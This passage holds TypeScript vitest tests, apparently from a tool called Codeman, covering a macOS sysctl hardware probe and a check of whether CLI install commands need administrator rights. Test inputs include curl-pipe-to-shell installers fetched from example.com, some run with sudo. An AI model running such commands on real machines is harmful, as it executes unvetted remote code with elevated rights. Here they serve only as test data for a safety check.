const MACMINI_FREE_DISK = 41_752_848 * 1024;
/**
* What an Intel Mac prints: `hw.optional.arm64`, `sysctl.proc_translated` and
* `iogpu.wired_limit_mb` do not exist there, so sysctl leaves their lines out (and exits 1).
* NOT a capture: no Intel Mac was available, the shape is recalled.
*/
const INTEL_SYSCTL = `hw.memsize: 17179869184
machdep.cpu.brand_string: Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz
kern.osproductversion: 13.6.7
hw.model: MacBookPro15,1
`;
/** Deps that spawn nothing and read no disk. A test overrides what it is about. */
function deps(overrides: HardwareProbeDeps = {}): HardwareProbeDeps {
return {
platform: 'darwin',
arch: 'arm64',
runSysctl: async () => MACMINI_SYSCTL,
freeDiskBytes: async () => MACMINI_FREE_DISK,
totalMemBytes: () => 8 * 1024 ** 3,
cpuModel: () => 'Fallback CPU',
now: () => 1_000_000,
...overrides,
};
}
beforeEach(() => {
resetHardwareCache();
});
afterEach(() => {
resetHardwareCache();
});
describe('the probe command', () => {
it('is an absolute path and asks for exactly the seven keys, never with -n', () => {
expect(isAbsolute(SYSCTL_PATH)).toBe(true);
expect(SYSCTL_PATH).toBe('/usr/sbin/sysctl');
expect([...SYSCTL_KEYS]).toEqual([
'hw.memsize',
'machdep.cpu.brand_string',
'hw.optional.arm64',
'sysctl.proc_translated',
'iogpu.wired_limit_mb',
'kern.osproductversion',
'hw.model',
]);
// Every argument is a key name. `-n` would print bare values, and a key missing on a
// machine would then shift every value after it onto the wrong key.
for (const key of SYSCTL_KEYS) expect(key).toMatch(/^[a-z][a-z0-9_.]*$/);
});
it('is bounded, and its result is reused for 60 seconds', () => {
expect(SYSCTL_TIMEOUT_MS).toBe(2000);
expect(HARDWARE_CACHE_TTL_MS).toBe(60_000);
});
});
describe('parseSysctl on the two real Macs', () => {
it('reads the MacBook Pro: M5 Pro, 48 GB, macOS 27.2, no wired limit set', () => {
expect(parseSysctl(MACBOOK_SYSCTL)).toEqual({
memBytes: 51_539_607_552,
chip: 'Apple M5 Pro',
arm64: true,
translated: false,
wiredLimitMb: 0,
macosVersion: '27.2',
macosMajor: 27,
model: 'Mac17,13',
});
});
it('reads the Mac mini: M4, 16 GB, macOS 27.2, no wired limit set', () => {
expect(parseSysctl(MACMINI_SYSCTL)).toEqual({
memBytes: 17_179_869_184,
chip: 'Apple M4',
arm64: true,
translated: false,
wiredLimitMb: 0,
macosVersion: '27.2',
macosMajor: 27,
model: 'Mac16,10',
});
});
it('skips the lines it does not know: other keys, the exit status, the df line', () => {
const facts = parseSysctl(MACMINI_SYSCTL);
expect(Object.keys(facts).sort()).toEqual(
['arm64', 'chip', 'macosMajor', 'macosVersion', 'memBytes', 'model', 'translated', 'wiredLimitMb'].sort()
);
});
it('reports a wired limit of 0 as 0 (not set), and a set one as its number', () => {
expect(parseSysctl(MACMINI_SYSCTL).wiredLimitMb).toBe(0);
expect(parseSysctl('iogpu.wired_limit_mb: 14000\n').wiredLimitMb).toBe(14000);
});
});
describe('parseSysctl on other shapes', () => {
it('reads an Intel Mac, whose output lacks three of the keys, without shifting a value', () => {
expect(parseSysctl(INTEL_SYSCTL)).toEqual({
memBytes: 17_179_869_184,
chip: 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
macosVersion: '13.6.7',
macosMajor: 13,
model: 'MacBookPro15,1',
});
});
it('reads an Intel Mac that does print the arm64 flag, as 0', () => {
const facts = parseSysctl(`hw.optional.arm64: 0\n${INTEL_SYSCTL}`);
expect(facts.arm64).toBe(false);
expect(facts.translated).toBeUndefined();
});
it('reads a process under Rosetta: the machine is arm64 and the process is translated', () => {
const facts = parseSysctl(MACMINI_SYSCTL.replace('sysctl.proc_translated: 0', 'sysctl.proc_translated: 1'));
expect(facts.arm64).toBe(true);
expect(facts.translated).toBe(true);
});
it('drops a line that was cut off: a truncated output never yields half a value', () => {
// Cut in the middle of the chip name. The memory line before it is whole.
const cutInChip = 'hw.memsize: 17179869184\nmachdep.cpu.brand_string: Apple M';
expect(parseSysctl(cutInChip)).toEqual({ memBytes: 17_179_869_184 });
// Cut in the middle of the memory figure: '1717' would be a valid, wrong number.
expect(parseSysctl('hw.memsize: 1717')).toEqual({});
// Cut right after a whole line: everything up to there counts.
const cutAfterLine = MACMINI_SYSCTL.slice(0, MACMINI_SYSCTL.indexOf('hw.optional.arm64'));
expect(parseSysctl(cutAfterLine)).toEqual({ memBytes: 17_179_869_184, chip: 'Apple M4' });
});
it('reads nothing from an empty output or from error text', () => {
expect(parseSysctl('')).toEqual({});
expect(parseSysctl('\n\n')).toEqual({});
expect(
parseSysctl("sysctl: unknown oid 'hw.memsize'\nsysctl: cannot stat /proc/sys/hw/memsize: No such file\n")
).toEqual({});
});
it('leaves out a value that does not parse instead of guessing', () => {
const facts = parseSysctl(
[
'hw.memsize: lots',
'machdep.cpu.brand_string: ',
'hw.optional.arm64: yes',
'sysctl.proc_translated: 2',
'iogpu.wired_limit_mb: -1',
'kern.osproductversion: Sequoia',
`hw.model: ${'x'.repeat(200)}`,
'',
].join('\n')
);
expect(facts).toEqual({});
});
it('refuses a memory size of 0 or one too large to be a number of bytes', () => {
expect(parseSysctl('hw.memsize: 0\n').memBytes).toBeUndefined();
expect(parseSysctl('hw.memsize: 99999999999999999999999\n').memBytes).toBeUndefined();
});
it('accepts Windows line ends and padding, and the first line of a key wins', () => {
const facts = parseSysctl('hw.memsize: 17179869184 \r\nhw.model: Mac16,10\r\nhw.model: Other9,9\r\n');
expect(facts).toEqual({ memBytes: 17_179_869_184, model: 'Mac16,10' });
});
it('reads the macOS major version from one, two or three numbers', () => {
expect(parseSysctl('kern.osproductversion: 14\n')).toMatchObject({ macosVersion: '14', macosMajor: 14 });
expect(parseSysctl('kern.osproductversion: 15.7\n')).toMatchObject({ macosVersion: '15.7', macosMajor: 15 });
expect(parseSysctl('kern.osproductversion: 13.6.7\n')).toMatchObject({ macosVersion: '13.6.7', macosMajor: 13 });
});
});
describe('readHardware on the two real Macs', () => {
it('describes the MacBook Pro', async () => {
const hw = await readHardware(
deps({ runSysctl: async () => MACBOOK_SYSCTL, freeDiskBytes: async () => MACBOOK_FREE_DISK })
);
expect(hw).toEqual({
platform: 'darwin',
arch: 'arm64',
arm64: true,
translated: false,
memBytes: 51_539_607_552,
memGb: '51.5',
memClassGb: 48,
chip: 'Apple M5 Pro',
model: 'Mac17,13',
macosVersion: '27.2',
macosMajor: 27,
wiredLimitMb: 0,
freeDiskBytes: MACBOOK_FREE_DISK,
freeDiskGb: '912',
source: 'sysctl',
});
});
it('describes the Mac mini', async () => {
const hw = await readHardware(deps());
expect(hw).toEqual({
platform: 'darwin',
arch: 'arm64',
arm64: true,
translated: false,
memBytes: 17_179_869_184,
memGb: '17.2',
memClassGb: 16,
chip: 'Apple M4',
model: 'Mac16,10',
macosVersion: '27.2',
macosMajor: 27,
wiredLimitMb: 0,
freeDiskBytes: MACMINI_FREE_DISK,
freeDiskGb: '42.8',
source: 'sysctl',
});
});
it('is plain JSON: it survives a round trip unchanged', async () => {
const hw = await readHardware(deps());
expect(JSON.parse(JSON.stringify(hw))).toEqual(hw);
});
it('describes an Intel Mac from its shorter output: no arm64 flag, an x64 process', async () => {
const hw = await readHardware(deps({ arch: 'x64', runSysctl: async () => INTEL_SYSCTL }));
expect(hw.source).toBe('sysctl');
expect(hw.arch).toBe('x64');
expect(hw.chip).toBe('Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz');
expect(hw.macosMajor).toBe(13);
expect(hw).not.toHaveProperty('arm64');
expect(hw).not.toHaveProperty('translated');
expect(hw).not.toHaveProperty('wiredLimitMb');
});
it('takes the chip name from node:os when sysctl printed everything but that', async () => {
const hw = await readHardware(
deps({ runSysctl: async () => MACMINI_SYSCTL.replace('machdep.cpu.brand_string: Apple M4\n', '') })
);
expect(hw.source).toBe('sysctl');
expect(hw.chip).toBe('Fallback CPU');
});
});
describe('readHardware when the probe fails', () => {
it('answers from node:os when the spawn could not run or timed out', async () => {
const hw = await readHardware(
deps({
runSysctl: async () => undefined,
totalMemBytes: () => 34_359_738_368,
cpuModel: () => 'Apple M2 Max',
})
);
expect(hw).toEqual({
platform: 'darwin',
arch: 'arm64',
memBytes: 34_359_738_368,
memGb: '34.4',
memClassGb: 32,
chip: 'Apple M2 Max',
freeDiskBytes: MACMINI_FREE_DISK,
freeDiskGb: '42.8',
source: 'os-fallback',
});
});
it('never rejects when a dependency throws or rejects', async () => {
const hw = await readHardware(
deps({
runSysctl: () => Promise.reject(new Error('spawn EACCES')),
freeDiskBytes: () => {
throw new Error('statfs failed');
},
cpuModel: () => {
throw new Error('no cpus');
},
})
);
expect(hw.source).toBe('os-fallback');
expect(hw.memBytes).toBe(8 * 1024 ** 3);
expect(hw).not.toHaveProperty('chip');
expect(hw).not.toHaveProperty('freeDiskBytes');
expect(hw).not.toHaveProperty('freeDiskGb');
});
it('still answers when even the memory size cannot be read', async () => {
const hw = await readHardware(
deps({
runSysctl: async () => undefined,
totalMemBytes: () => {
throw new Error('no memory figure');
},
})
);
expect(hw).toMatchObject({ source: 'os-fallback', memBytes: 0, memGb: '0.0', memClassGb: 0 });
});
it('trusts nothing of an output that has no memory size', async () => {
// A truncated or foreign output: the chip and version lines are whole, hw.memsize is not there.
const withoutMemory = MACMINI_SYSCTL.replace('hw.memsize: 17179869184\n', '');
const hw = await readHardware(deps({ runSysctl: async () => withoutMemory }));
expect(hw.source).toBe('os-fallback');
expect(hw.memBytes).toBe(8 * 1024 ** 3);
expect(hw.chip).toBe('Fallback CPU');
expect(hw).not.toHaveProperty('macosVersion');
expect(hw).not.toHaveProperty('macosMajor');
expect(hw).not.toHaveProperty('model');
expect(hw).not.toHaveProperty('wiredLimitMb');
expect(hw).not.toHaveProperty('arm64');
});
it('falls back when the output was cut off inside the memory figure', async () => {
const hw = await readHardware(deps({ runSysctl: async () => 'hw.memsize: 1717' }));
expect(hw.source).toBe('os-fallback');
expect(hw.memBytes).toBe(8 * 1024 ** 3);
});
it('leaves the free disk out when it is unknown, and keeps the rest', async () => {
const hw = await readHardware(deps({ freeDiskBytes: async () => undefined }));
expect(hw.source).toBe('sysctl');
expect(hw).not.toHaveProperty('freeDiskBytes');
expect(hw).not.toHaveProperty('freeDiskGb');
});
it('reports a full disk as 0 bytes free, which is a figure and not "unknown"', async () => {
const hw = await readHardware(deps({ freeDiskBytes: async () => 0 }));
expect(hw.freeDiskBytes).toBe(0);
expect(hw.freeDiskGb).toBe('0.0');
});
});
describe('readHardware off macOS', () => {
it('spawns nothing and reads no disk', async () => {
let spawned = 0;
let diskRead = 0;
const hw = await readHardware(
deps({
platform: 'linux',
arch: 'x64',
runSysctl: async () => {
spawned++;
return MACMINI_SYSCTL;
},
freeDiskBytes: async () => {
diskRead++;
return 1;
},
totalMemBytes: () => 67_430_023_168,
})
);
expect(spawned).toBe(0);
expect(diskRead).toBe(0);
expect(hw).toEqual({
platform: 'linux',
arch: 'x64',
memBytes: 67_430_023_168,
memGb: '67.4',
memClassGb: 63,
source: 'not-probed',
});
});
});
describe('the cache of readHardware', () => {
it('reuses one result for 60 seconds, then probes again', async () => {
let clock = 5_000_000;
let spawned = 0;
const counting = deps({
now: () => clock,
runSysctl: async () => {
spawned++;
return spawned === 1 ? MACMINI_SYSCTL : MACBOOK_SYSCTL;
},
});
const first = await readHardware(counting);
clock += HARDWARE_CACHE_TTL_MS - 1;
const second = await readHardware(counting);
expect(spawned).toBe(1);
expect(second).toBe(first);
clock += 1;
const third = await readHardware(counting);
expect(spawned).toBe(2);
expect(third.chip).toBe('Apple M5 Pro');
});
it('caches a failed probe too: a broken sysctl is not spawned on every request', async () => {
let spawned = 0;
const failing = deps({
runSysctl: async () => {
spawned++;
return undefined;
},
});
expect((await readHardware(failing)).source).toBe('os-fallback');
expect((await readHardware(failing)).source).toBe('os-fallback');
expect(spawned).toBe(1);
});
it('lets concurrent callers share one probe', async () => {
let spawned = 0;
let release: (text: string) => void = () => {};
const slow = deps({
runSysctl: () => {
spawned++;
return new Promise<string>((resolve) => {
release = resolve;
});
},
});
const callers = [readHardware(slow), readHardware(slow), readHardware(slow)];
// Let the three calls reach the spawn before it answers.
await new Promise((resolve) => setImmediate(resolve));
release(MACMINI_SYSCTL);
const results = await Promise.all(callers);
expect(spawned).toBe(1);
expect(results[1]).toBe(results[0]);
expect(results[2]).toBe(results[0]);
});
it('probes again after a reset, and does not trust a clock that ran backwards', async () => {
let clock = 9_000_000;
let spawned = 0;
const counting = deps({
now: () => clock,
runSysctl: async () => {
spawned++;
return MACMINI_SYSCTL;
},
});
await readHardware(counting);
resetHardwareCache();
await readHardware(counting);
expect(spawned).toBe(2);
clock -= 10_000;
await readHardware(counting);
expect(spawned).toBe(3);
});
});
// The scripts below are POSIX shell. Codeman's server does not run on Windows.
describe.skipIf(process.platform === 'win32')('spawnSysctl, against a script of the test', () => {
let folder: string;
beforeEach(() => {
folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-spawn-'));
});
afterEach(() => {
rmSync(folder, { recursive: true, force: true });
});
/** An executable shell script standing in for sysctl. */
function script(body: string, mode = 0o755): string {
const path = join(folder, 'fake-sysctl');
writeFileSync(path, `#!/bin/sh\n${body}\n`, { mode });
return path;
}
it('passes the seven keys as arguments and nothing else: no -n, no shell', async () => {
// printf, not echo: echo would swallow a `-n` argument, the very thing this test looks for.
const output = await spawnSysctl(script('printf \'%s\\n\' "$@"'));
expect(output?.trimEnd().split('\n')).toEqual([...SYSCTL_KEYS]);
});
it('reads the output of a program that exits 1, as sysctl does on an Intel Mac', async () => {
// Three keys are unknown there: their errors go to stderr, the other four lines to stdout.
const output = await spawnSysctl(
script(
[
"echo 'hw.memsize: 17179869184'",
"echo 'machdep.cpu.brand_string: Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz'",
`echo "sysctl: unknown oid 'hw.optional.arm64'" >&2`,
`echo "sysctl: unknown oid 'sysctl.proc_translated'" >&2`,
`echo "sysctl: unknown oid 'iogpu.wired_limit_mb'" >&2`,
"echo 'kern.osproductversion: 13.6.7'",
"echo 'hw.model: MacBookPro15,1'",
'exit 1',
].join('\n')
)
);
expect(output).toBeDefined();
expect(output).not.toContain('unknown oid');
expect(parseSysctl(output as string)).toEqual({
memBytes: 17_179_869_184,
chip: 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
macosVersion: '13.6.7',
macosMajor: 13,
model: 'MacBookPro15,1',
});
});
it('answers undefined for a program that does not exist or may not be run', async () => {
expect(await spawnSysctl(join(folder, 'no-such-program'))).toBeUndefined();
expect(await spawnSysctl(script('echo "hw.memsize: 1"', 0o644))).toBeUndefined();
});
it('gives up on a program that hangs, and does not hand over half an output', async () => {
const started = Date.now();
// `exec` so the signal reaches the sleeper itself and nothing is left behind.
const output = await spawnSysctl(script("echo 'hw.memsize: 17179869184'\nexec sleep 20"), 200);
expect(output).toBeUndefined();
expect(Date.now() - started).toBeLessThan(5000);
});
it('answers undefined for an output far larger than seven lines', async () => {
expect(await spawnSysctl(script("head -c 200000 /dev/zero | tr '\\0' 'x'"))).toBeUndefined();
});
it("does not pass the server's environment to the program", async () => {
const name = 'CODEMAN_LOCAL_MODEL_TEST_SECRET';
process.env[name] = 'hunter2';
try {
const output = await spawnSysctl(script(`echo "secret=\${${name}:-unset}"`));
expect(output?.trim()).toBe('secret=unset');
} finally {
delete process.env[name];
}
});
});
describe('dataDirFreeBytes', () => {
let folder: string;
beforeEach(() => {
folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-disk-'));
});
afterEach(() => {
rmSync(folder, { recursive: true, force: true });
});
it('reads the free bytes of the data dir with the real probe and the real statfs', async () => {
const free = await dataDirFreeBytes({ dataDir: () => folder });
expect(typeof free).toBe('number');
expect(free).toBeGreaterThanOrEqual(0);
});
it('uses the nearest existing parent when the data dir does not exist yet', async () => {
const asked: string[] = [];
const free = await dataDirFreeBytes({
dataDir: () => join(folder, 'not', 'yet', 'there'),
freeBytesOf: async (path) => {
asked.push(path);
return 123;
},
});
expect(free).toBe(123);
expect(asked).toEqual([folder]);
});
it('does not touch a folder whose mount does not answer, or a path that is a file', async () => {
for (const kind of ['unknown', 'file'] as const) {
let touched = 0;
const free = await dataDirFreeBytes({
dataDir: () => folder,
probeKind: async () => kind,
freeBytesOf: async () => {
touched++;
return 1;
},
});
expect(free, kind).toBeUndefined();
expect(touched, kind).toBe(0);
}
});
it('stops walking up after a few parents', async () => {
let probes = 0;
const free = await dataDirFreeBytes({
dataDir: () => '/a/b/c/d/e/f/g/h/i/j/k/l',
probeKind: async () => {
probes++;
return 'absent';
},
freeBytesOf: async () => 1,
});
expect(free).toBeUndefined();
expect(probes).toBe(7);
});
it('gives up on a statfs that does not come back, and never starts a second one meanwhile', async () => {
let started = 0;
let finish: (bytes: number) => void = () => {};
const hanging = {
dataDir: () => folder,
freeBytesOf: () => {
started++;
return new Promise<number>((resolve) => {
finish = resolve;
});
},
timeoutMs: 20,
};
// The first read waits its timeout and answers "unknown".
expect(await dataDirFreeBytes(hanging)).toBeUndefined();
expect(started).toBe(1);
// While that statfs is still out, later reads answer at once and start nothing.
const before = Date.now();
expect(await dataDirFreeBytes(hanging)).toBeUndefined();
expect(await dataDirFreeBytes({ ...hanging, timeoutMs: 60_000 })).toBeUndefined();
expect(Date.now() - before).toBeLessThan(1000);
expect(started).toBe(1);
// Once it finally answers, the next read works again.
finish(5);
await new Promise((resolve) => setImmediate(resolve));
expect(await dataDirFreeBytes({ ...hanging, freeBytesOf: async () => 42 })).toBe(42);
});
it('never rejects when one of its reads does', async () => {
const failing = async (): Promise<never> => {
throw new Error('EIO');
};
expect(await dataDirFreeBytes({ dataDir: () => folder, freeBytesOf: failing })).toBeUndefined();
expect(await dataDirFreeBytes({ dataDir: () => folder, probeKind: failing })).toBeUndefined();
expect(
await dataDirFreeBytes({
dataDir: () => {
throw new Error('no home');
},
})
).toBeUndefined();
});
it('is bounded by default', () => {
expect(FREE_DISK_TIMEOUT_MS).toBe(2000);
});
});
describe('the real defaults', () => {
let folder: string;
beforeEach(() => {
folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-hw-'));
});
afterEach(() => {
rmSync(folder, { recursive: true, force: true });
});
it('reads the free bytes of a real folder, and undefined for one that does not exist', async () => {
const free = await freeDiskBytesOf(folder);
expect(typeof free).toBe('number');
expect(free).toBeGreaterThanOrEqual(0);
expect(await freeDiskBytesOf(join(folder, 'missing', 'deeper'))).toBeUndefined();
});
it('never rejects with the real spawn and the real disk read, whatever machine this is', async () => {
// Pretend to be a Mac so the spawn and the disk read really run. On Linux /usr/sbin/sysctl
// either does not exist or knows none of the keys: the answer is then the fallback.
const hw = await readHardware({ platform: 'darwin' });
expect(['sysctl', 'os-fallback']).toContain(hw.source);
expect(hw.memBytes).toBeGreaterThan(0);
expect(hw.memGb).toMatch(/^\d+(\.\d)?$/);
if (hw.freeDiskBytes !== undefined) {
expect(hw.freeDiskBytes).toBeGreaterThanOrEqual(0);
expect(hw.freeDiskGb).toMatch(/^\d+(\.\d)?$/);
}
});
});
+395
View File
@@ -0,0 +1,395 @@
/**
* @fileoverview `buildHarnessFacts()`: what the server knows about each catalogue harness on
* this machine (src/local-model/harness-facts.ts), read from the CLI registry at call time.
*
* The catalogue here is the test's own: the stock one is filled by another module and its rows
* are not what this file is about. The registry is the REAL stock registry unless a test says
* otherwise, so the model id anchors below are regression anchors on shipped data.
*
* Two things a reader should know before trusting a green run:
* - Under vitest the real availability probe is inert (it finds no CLI). A test that cares
* about `installed` therefore injects `probeInstalled`.
* - The registry's install command resolver reads `process.platform` and falls back to the
* Linux command, so on a Linux machine it never returns a macOS command. The macOS cases
* inject `installCommandFor` and read the entry's own `darwin` command.
* - The command a fact carries (`installCommand`) is the COMPILED stock command, the one the
* install job would run. A `clis.json` override changes what the registry shows and must
* not change it.
*
* Port: none (no server; the on-disk case uses the per-file temp HOME from test/setup.ts).
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { existsSync, mkdirSync, rmSync, writeFileSync } from 'node:fs';
import { dirname } from 'node:path';
import {
buildHarnessFacts,
cliAcceptsCustomModelId,
installCommandNeedsAdmin,
} from '../src/local-model/harness-facts.js';
import { stockInstallCommand } from '../src/cli-install-runner.js';
import { getCli, registryFilePath, reloadCliRegistry } from '../src/config/cli-registry/registry.js';
import type { CliEntry } from '../src/config/cli-registry/types.js';
import type { LocalModelCatalog } from '../src/types.js';
/** A catalogue whose harness rows are `clis`, in that order. Nothing else in it matters here. */
function catalogWith(clis: string[]): LocalModelCatalog {
return {
schema: 1,
updated: '2026-11-06',
minMacosMajor: 14,
models: [],
harnesses: clis.map((cli, index) => ({ cli, minContext: 32768, rank: clis.length - index })),
chips: [],
};
}
function stockEntry(id: string): CliEntry {
const entry = getCli(id);
if (!entry) throw new Error(`${id} is missing from the CLI registry`);
return entry;
}
/** The command the registry holds for macOS, whatever machine the test runs on. */
const darwinCommand = (entry: CliEntry): string | undefined => entry.discovery.install.command.darwin;
/** A probe that reports exactly these CLIs as installed. */
const installedOnly =
(...ids: string[]) =>
async () =>
(entry: CliEntry) =>
ids.includes(entry.id as string);
afterEach(() => {
const path = registryFilePath();
if (existsSync(path)) rmSync(path);
reloadCliRegistry();
vi.restoreAllMocks();
});
describe('installCommandNeedsAdmin', () => {
it.each([
['brew install can1357/tap/omp', true],
[' brew install something', true],
['sudo apt install something', true],
['curl -fsSL https://example.com/install.sh | sudo bash', true],
['npm install -g thing && sudo ln -s a b', true],
['echo first; brew install thing', true],
['echo first\nsudo make install', true],
['(brew install thing)', true],
['curl -fsSL https://opencode.ai/install | bash', false],
['curl -fsSL https://claude.ai/install.sh | bash', false],
['npm install -g --ignore-scripts @earendil-works/pi-coding-agent', false],
['npm install -g @deepseek-ai/dsh && (command -v pnpm >/dev/null || npm install -g pnpm)', false],
// The words inside a URL, a package name or an argument are not a command.
['curl -fsSL https://brew.sh/install.sh | bash', false],
['npm install -g homebrew-sudo-helper', false],
['echo sudo', false],
])('%s -> %s', (command, expected) => {
expect(installCommandNeedsAdmin(command)).toBe(expected);
});
it('agrees with the registry on every stock macOS command: only a Homebrew one needs an administrator', () => {
expect(installCommandNeedsAdmin(darwinCommand(stockEntry('omp')) ?? '')).toBe(true);
for (const id of ['claude', 'opencode', 'codex', 'pi']) {
expect(installCommandNeedsAdmin(darwinCommand(stockEntry(id)) ?? '')).toBe(false);
}
});
});
describe('cliAcceptsCustomModelId (the launch path’s model id test, on the stock registry)', () => {
it('accepts a registry style `name:tag` id for the CLIs that can carry a colon', () => {
// opencode and claude select the model in their config or environment: no launch id at all.
// pi and codex force the id onto `--model`, and both of their patterns allow a colon.
for (const id of ['opencode', 'claude', 'pi', 'codex']) {
expect(cliAcceptsCustomModelId(stockEntry(id), 'qwen3.5:9b')).toBe(true);
}
});
it('refuses a colon for a CLI whose `--model` pattern has none, and accepts the same CLI without it', () => {
const omp = stockEntry('omp');
expect(cliAcceptsCustomModelId(omp, 'qwen3.5:9b')).toBe(false);
expect(cliAcceptsCustomModelId(omp, 'qwen3-coder')).toBe(true);
});
it('refuses the ids the launch routes’ own tests refuse', () => {
// test/routes/quick-start-custom-model.test.ts pins both pairs against the real route.
expect(cliAcceptsCustomModelId(stockEntry('pi'), 'qwen 3 with spaces')).toBe(false);
expect(cliAcceptsCustomModelId(stockEntry('codex'), 'org/model@q4_k_m')).toBe(false);
});
it('is false for a CLI with no custom model mechanism', () => {
expect(cliAcceptsCustomModelId(stockEntry('shell'), 'qwen3.5:9b')).toBe(false);
expect(cliAcceptsCustomModelId(stockEntry('antigravity'), 'qwen3.5:9b')).toBe(false);
});
it('reads the entry it is given, so a changed pattern changes the answer (no id is looked at)', () => {
const omp = stockEntry('omp');
const widened: CliEntry = {
...omp,
launch: { ...omp.launch, params: { ...omp.launch.params, model: { type: 'token', pattern: 'model-pi' } } },
};
expect(cliAcceptsCustomModelId(widened, 'qwen3.5:9b')).toBe(true);
});
});
describe('buildHarnessFacts', () => {
it('answers one fact per catalogue harness, in catalogue order, with the registry’s label', async () => {
const facts = await buildHarnessFacts(catalogWith(['pi', 'opencode', 'claude']), {
probeInstalled: installedOnly('opencode'),
installCommandFor: darwinCommand,
});
expect(facts.map((f) => f.cli)).toEqual(['pi', 'opencode', 'claude']);
expect(facts.map((f) => f.label)).toEqual(['pi', 'opencode', 'claude'].map((id) => stockEntry(id).label));
expect(facts.map((f) => f.installed)).toEqual([false, true, false]);
});
it('leaves out a CLI the registry does not know, one with no custom model mechanism, and a disabled one', async () => {
const disabled = (id: string): CliEntry | undefined => {
const entry = getCli(id);
return entry && id === 'claude' ? { ...entry, enabled: false } : entry;
};
const facts = await buildHarnessFacts(catalogWith(['no-such-cli', 'shell', 'antigravity', 'claude', 'opencode']), {
getCli: disabled,
probeInstalled: installedOnly(),
});
expect(facts.map((f) => f.cli)).toEqual(['opencode']);
});
it('keeps one fact for a CLI the catalogue lists twice', async () => {
const facts = await buildHarnessFacts(catalogWith(['opencode', 'opencode']), { probeInstalled: installedOnly() });
expect(facts.map((f) => f.cli)).toEqual(['opencode']);
});
it('installable: not installed, a stock CLI, and a macOS command that needs no administrator', async () => {
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), {
probeInstalled: installedOnly('claude'),
installCommandFor: darwinCommand,
});
const byCli = new Map(facts.map((f) => [f.cli, f]));
// curl installer into the home directory.
expect(byCli.get('opencode')).toMatchObject({ installed: false, installable: true });
// Already there: nothing to install.
expect(byCli.get('claude')).toMatchObject({ installed: true, installable: false });
// npm: the install runner points it at a prefix the server user can write.
expect(byCli.get('pi')).toMatchObject({ installed: false, installable: true });
// Homebrew on macOS.
expect(byCli.get('omp')).toMatchObject({ installed: false, installable: false });
});
it('installable is false without an install command, for a sudo command, and for a custom entry', async () => {
const command = vi.fn<(entry: CliEntry) => string | undefined>();
command.mockReturnValueOnce(undefined);
expect(
(
await buildHarnessFacts(catalogWith(['opencode']), {
probeInstalled: installedOnly(),
installCommandFor: command,
})
)[0].installable
).toBe(false);
command.mockReturnValueOnce(' ');
expect(
(
await buildHarnessFacts(catalogWith(['opencode']), {
probeInstalled: installedOnly(),
installCommandFor: command,
})
)[0].installable
).toBe(false);
command.mockReturnValueOnce('sudo installer -pkg agent.pkg -target /');
expect(
(
await buildHarnessFacts(catalogWith(['opencode']), {
probeInstalled: installedOnly(),
installCommandFor: command,
})
)[0].installable
).toBe(false);
// A custom entry's install command is never run by the install runner, so it is never
// offered, however harmless the text looks.
const custom = (id: string): CliEntry | undefined => {
const entry = getCli(id);
return entry ? { ...entry, stock: false } : entry;
};
const harmless = vi.fn(() => 'curl -fsSL https://example.com/install | bash');
const facts = await buildHarnessFacts(catalogWith(['opencode']), {
getCli: custom,
probeInstalled: installedOnly(),
installCommandFor: harmless,
});
expect(facts[0].installable).toBe(false);
expect(harmless).not.toHaveBeenCalled();
});
it('never reads an install command for a CLI that is already installed', async () => {
const command = vi.fn(() => 'curl -fsSL https://example.com/install | bash');
const facts = await buildHarnessFacts(catalogWith(['opencode']), {
probeInstalled: installedOnly('opencode'),
installCommandFor: command,
});
expect(facts[0]).toMatchObject({ installed: true, installable: false });
expect(command).not.toHaveBeenCalled();
});
it('acceptsModelId is the launch path’s test for that harness', async () => {
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi', 'omp']), {
probeInstalled: installedOnly(),
});
const accepts = (cli: string, modelId: string) => facts.find((f) => f.cli === cli)?.acceptsModelId(modelId);
expect(accepts('opencode', 'qwen3.5:9b')).toBe(true);
expect(accepts('claude', 'qwen3.8:27b-q8_0')).toBe(true);
expect(accepts('pi', 'gpt-oss:20b')).toBe(true);
expect(accepts('omp', 'gpt-oss:20b')).toBe(false);
});
it('asks the availability probe once per build, not once per harness', async () => {
const probe = vi.fn(installedOnly('opencode'));
await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi']), { probeInstalled: probe });
expect(probe).toHaveBeenCalledTimes(1);
});
it('a probe that fails is an answer: every harness reads as not installed, and install data still counts', async () => {
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
const facts = await buildHarnessFacts(catalogWith(['opencode', 'omp']), {
probeInstalled: async () => {
throw new Error('login shell did not answer');
},
installCommandFor: darwinCommand,
});
expect(facts.map((f) => [f.cli, f.installed, f.installable])).toEqual([
['opencode', false, true],
['omp', false, false],
]);
expect(warn).toHaveBeenCalledTimes(1);
expect(String(warn.mock.calls[0][0])).toContain('login shell did not answer');
});
it('a probe that throws for one harness does not take the others down', async () => {
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude']), {
probeInstalled: async () => (entry) => {
if (entry.label === stockEntry('opencode').label) throw new Error('boom');
return true;
},
});
expect(facts.map((f) => [f.cli, f.installed])).toEqual([
['opencode', false],
['claude', true],
]);
expect(warn).toHaveBeenCalledTimes(1);
});
it('reads the registry when it is called, not when the module loaded', async () => {
const before = await buildHarnessFacts(catalogWith(['opencode', 'claude']));
expect(before.map((f) => f.cli)).toEqual(['opencode', 'claude']);
// The user disables a CLI in ~/.codeman/clis.json after the module was imported.
const path = registryFilePath();
mkdirSync(dirname(path), { recursive: true });
writeFileSync(path, JSON.stringify({ schemaVersion: 1, clis: { opencode: { enabled: false } } }), { mode: 0o600 });
reloadCliRegistry();
const after = await buildHarnessFacts(catalogWith(['opencode', 'claude']));
expect(after.map((f) => f.cli)).toEqual(['claude']);
});
it('with its default dependencies it spawns nothing under vitest and finds no CLI installed', async () => {
const facts = await buildHarnessFacts(catalogWith(['opencode', 'claude', 'pi']));
expect(facts.map((f) => f.cli)).toEqual(['opencode', 'claude', 'pi']);
